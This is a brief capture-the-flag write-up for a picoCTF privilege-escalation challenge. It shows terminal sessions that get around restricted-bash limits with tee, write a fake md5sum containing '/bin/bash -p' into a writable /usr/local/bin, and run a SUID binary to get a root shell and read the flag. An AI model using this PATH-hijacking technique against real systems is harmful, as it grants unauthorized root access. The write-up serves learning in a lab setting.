pwn

August 9, 20251 minute

This challenge is similar to hash-only-1: there is a binary with SUID permissions that runs md5sum without the full path, but this time we are in a restricted bash, so we can’t redirect output to a file and we can’t modify $PATH either

ctf-player@pico-chall$ export PATH=
-rbash: PATH: readonly variable
ctf-player@pico-chall$ echo "test" > a
-rbash: a: restricted: cannot redirect output
ctf-player@pico-chall$

The output redirection problem can be solved with tee:

ctf-player@pico-chall$ echo "test" | tee a
test
ctf-player@pico-chall$ cat a
test
ctf-player@pico-chall$

After trying different paths for a while, I found that I had permission to create files in /usr/local/bin

ctf-player@pico-chall$ echo "test" | tee /usr/local/bin/test
test
ctf-player@pico-chall$ cat !$
cat /usr/local/bin/test
test

That path has higher priority than /usr/bin, which is where md5sum lives

ctf-player@pico-chall$ which md5sum
/usr/bin/md5sum
ctf-player@pico-chall$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

So if we create an md5sum file in /usr/local/bin, it will take priority over the original one in /usr/bin

ctf-player@pico-chall$ echo "/bin/bash -p" | tee /usr/local/bin/md5sum
/bin/bash -p
ctf-player@pico-chall$ chmod +x !$
chmod +x /usr/local/bin/md5sum
ctf-player@pico-chall$ flaghasher
Computing the MD5 hash of /root/flag.txt....

root@challenge:~# cat /root/flag.txt
picoCTF{Co-@************n@riEs_dab7e075}